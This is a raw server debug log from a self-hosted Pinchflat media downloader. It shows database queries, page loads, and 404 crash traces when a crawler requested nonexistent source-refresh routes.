20:16:29.461 [debug] QUERY OK source="settings" db=0.1ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:16:29.461 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:16:29.463 [info] Sent 200 in 5ms 20:16:30.919 [info] GET /sources/2/force_metadata_refresh 20:16:30.919 [debug] QUERY OK source="settings" db=0.3ms idle=1459.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:16:30.920 [debug] QUERY OK source="settings" db=0.1ms idle=1459.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:16:30.920 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 20:16:30.920 [error] #PID<0.164541.0> running PinchflatWeb.Endpoint (connection #PID<0.164540.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /sources/2/force_metadata_refresh ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/force_metadata_refresh (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.164540.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_metadata_refresh", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 42768}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.41", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.216.41" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.164541.0>, params: %{}, path_info: ["sources", "2", "force_metadata_refresh"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.216.41"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "216.73.216.41"} ], request_path: "/sources/2/force_metadata_refresh", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1lGlXP8jk4EVUAFuJB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.164540.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_metadata_refresh", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 42768}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.41", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.216.41" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/force_metadata_refresh (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.164540.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_metadata_refresh", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 42768}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.41", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.216.41" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.164541.0>, params: %{}, path_info: ["sources", "2", "force_metadata_refresh"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.216.41"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-i (truncated) 20:16:31.344 [info] GET /sources/2/edit 20:16:31.344 [debug] Processing with PinchflatWeb.Sources.SourceController.edit/2 Parameters: %{"id" => "2"} Pipelines: [:browser] 20:16:31.344 [debug] QUERY OK source="sources" db=0.1ms idle=1882.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 20:16:31.345 [debug] QUERY OK source="media_profiles" db=0.2ms idle=1268.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 20:16:31.345 [debug] QUERY OK source="settings" db=0.1ms idle=425.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:16:31.346 [debug] QUERY OK source="settings" db=0.2ms idle=425.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:16:31.346 [debug] QUERY OK source="settings" db=0.1ms idle=210.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:16:31.349 [info] Sent 200 in 4ms 20:16:31.745 [info] GET /media_profiles 20:16:31.746 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.index/2 Parameters: %{} Pipelines: [:browser] 20:16:31.746 [debug] QUERY OK source="media_profiles" db=0.2ms idle=401.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", (SELECT count(ss0."id") AS "result" FROM "sources" AS ss0 WHERE (ss0."media_profile_id" = m0."id")) FROM "media_profiles" AS m0 WHERE (m0."marked_for_deletion_at" IS NULL) ORDER BY m0."name" [] 20:16:31.747 [debug] QUERY OK source="settings" db=0.1ms idle=401.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:16:31.747 [debug] QUERY OK source="settings" db=0.1ms idle=401.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:16:31.747 [debug] QUERY OK source="settings" db=0.1ms idle=401.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:16:31.748 [info] Sent 200 in 3ms 20:16:45.373 [info] GET /sources/2/force_index 20:16:45.374 [debug] QUERY OK source="settings" db=0.1ms idle=1792.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:16:45.374 [debug] QUERY OK source="settings" db=0.1ms idle=1793.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:16:45.374 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 20:16:45.374 [error] #PID<0.164550.0> running PinchflatWeb.Endpoint (connection #PID<0.164549.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /sources/2/force_index ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/force_index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.164549.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_index", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 59526}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.41", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.216.41" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.164550.0>, params: %{}, path_info: ["sources", "2", "force_index"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.216.41"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "216.73.216.41"} ], request_path: "/sources/2/force_index", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1lHbNhYvKJb18AC7_C"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.164549.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_index", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 59526}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.41", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.216.41" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/force_index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.164549.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_index", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 59526}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.41", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.216.41" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.164550.0>, params: %{}, path_info: ["sources", "2", "force_index"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.216.41"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "216.73.216.41"} ], request_path: "/sources/2/force_index", resp_ (truncated)